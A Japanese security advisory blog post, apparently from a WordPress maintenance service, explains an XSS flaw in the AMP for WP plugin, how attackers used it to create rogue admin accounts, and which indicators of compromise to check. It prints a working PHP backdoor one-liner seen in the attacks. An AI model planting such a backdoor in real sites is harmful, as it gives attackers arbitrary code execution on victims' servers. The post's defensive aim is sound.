セキュリティ 2019.10.24 2023.07.26
AMP for WPのプラグインにXSSの脆弱性!最新版へアップデートを
日本でも利用者が多い「AMP for WP」にXSS(クロスサイトスクリプティング)に対する脆弱性が発見されました。
対応方法と原因、主な攻撃方法について解説しますので、インストール中の方は参考にしてすぐに対応してください。
目次
対応方法について
「AMP for WP」プラグインの最新バージョン(執筆時点ではバージョン0.9.97.20)にアップデートしてください。
もし、サイトを確認してすでに不正なスクリプトが埋め込まれている場合は、こちらなどを参考に、不正なスクリプトを削除してください。ご自身でのサイト復旧が難しい場合には、セキュリティ対策の専門家に相談しましょう。
以下では、今回発見された脆弱性の情報について解説しています。
エンジニア向けの内容も含まれますので、ご了承ください。
XSS(クロスサイトスクリプティング)とは?
XSS(クロスサイトスクリプティング)とは、ユーザーのリクエストに応じてページの表示内容を生成する動的ページに対する攻撃方法のことです。動的ページが生成される際の処理に、特定の悪意あるスクリプトを埋め込み、ユーザー側でそのプログラムを実行させることが可能です。
具体的な被害としては、セッションハイジャックやフォームの入力情報の収集、悪意のあるサイトへの誘導などです。
参考:XSSとは?(外部サイトが開きます)
「AMP for WP」プラグインで発見された脆弱性
今回発見された脆弱性の要点は、AJAXフックにおける機能チェックの欠如です。
脆弱性の見つかったバージョンでは、ユーザーはユーザー権限に関係なくログインをしているだけで、プラグインの機能を呼び出すことができます。
そのため、管理者権限ユーザーでなくとも、何らかの権限を持つユーザーでログインするだけでハッキングを行うことが可能です。
不正なユーザーアカウントが作成される
この脆弱性を利用した攻撃として確認されたのは、ログイン中の管理者のセッションを利用して不正なユーザーアカウントが作成されるというもの。
攻撃者は下記のようなコードを埋め込みます。
上記のコードでは、管理者のブラウザセッションからprocessNewUser()機能を用いて、「supportuuser」という新しい管理者アカウントを登録しようとしています。
非表示のiframeを作成し、その中で新規ユーザーフォームを操作し、権限から管理者を選択して送信するという流れです。
別のプラグインに対するバックドアコードの挿入
また、別のプラグインに対するバックドアコードを挿入しようとします。
実際には下記のようなPHPバックドアが確認されています。
1 2 3 4 |
@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1), @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']); @extract($_REQUEST);@die($cdate($adate)); |
上記の不正なユーザーアカウントが削除されたとしても、こうしたバックドアがあることで、ハッカーは任意のPHPコードを実行することができます。
侵入の痕跡(IOC)
ハッカーによる攻撃の痕跡については、以下が指標となります。
一般的な攻撃者のIP
- 181.215.147.23
- 193.112.161.204
- 219.145.170.23
- 192.169.198.104
- 193.112.65.16
- 46.101.156.232
- 193.112.91.155
- 218.92.252.230
- 208.109.53.224
- 41.139.45.78
アクセスされた送信ドメイン
- sslapis.com
攻撃者のユーザーエージェント
- Mozilla / 5.0(Windows NT 6.1; Win64; x64; rv
データベースインジケーター
- WordPressのデータベースのユーザーテーブルに不正なアカウントが存在する
- option_nameフィールドに文字列ampを含む「AMP For WP」プラグインに関連付けられているwp_optionsエントリに、意図しないJavaScriptが存在する。
まとめ
今回の脆弱性の発見で、XSSの脆弱性対策が非常に重要であることが再確認されました。
ハッカーがサイトの管理者のブラウザで任意のJavaScriptを実行できる場合、そこから様々な方法でサイトに悪意のあるスクリプトを仕掛けられます。
最善の防衛策は、セキュリティ対策の基本でもあるプラグインを最新の状態に保つということです。
「AMP for WP」プラグインを導入している方は、再度バージョンの確認を行いましょう。最新バージョンは2018年11月21日現在で「バージョン0.9.97.20」です。
もし、自分のサイトが攻撃を受けた可能性がある、何らかの理由でプラグインの更新ができない場合などは、「wp.support」を始めとしたWordPressのセキュリティ対策の専門家に相談しましょう。
参考元:Wordfence(元記事は英語です)
WordPress保守・運用のパートナーなら「wp.support」にお任せ!
WordPressサイトを運用していて、以下のようなお悩みはありませんか?
- 管理画面を使いやすくしたいけれど、カスタマイズする時間や技術がない…
- サイトのUI/UXを改善したいけれど、自社内では難しい…
- WordPressサイトを高速化したいけれど、ノウハウがない…
- セキュリティ対策をしたいけれど、知識のある人材がいない…
- 日々の業務に追われて、バージョンアップなどの保守業務が放置気味…
- ちょっとしたトラブルを気軽に相談できる相手が欲しい…
「wp.support」は、WordPressのプロフェッショナル集団によるWordPress保守サービスです。
「セキュリティ対策」「バージョンアップ対応」「定期バックアップ」はもちろん、「電話サポートが無制限」なのでカスタマイズの方法やトラブル発生時にも気軽にプロに相談できます。
既に導入済みのお客様からも、
「些細なことでも気軽に相談できるパートナー的な存在」
「困ったら相談していいんだ、と気持ちが楽になった」
と大変ご好評をいただいています。
WordPress保守・運用のパートナーをお探しなら、ぜひお気軽にお問合せください。
バージョンアップが面倒だと思ったら WordPress保守・セキュリティ対策は『wp.support』にお任せ!
WordPressのバージョンアップやセキュリティ対策にお悩みではないですか?
面倒な保守・運用作業は全て任せて、コア事業に集中してください。
大手・上場企業100社以上のWebサイトの安全を守る、WordPressのプロフェッショナル集団が、あなたのWordPressサイトを守ります!
【対応範囲】
・WordPress、プラグインのバージョンアップ ・セキュリティ対策 ・継続的なバックアップ ・緊急時の復旧対応 ・技術サポート・電話/メールサポート無制限 etc...
WordPressに関することなら何でもご相談ください!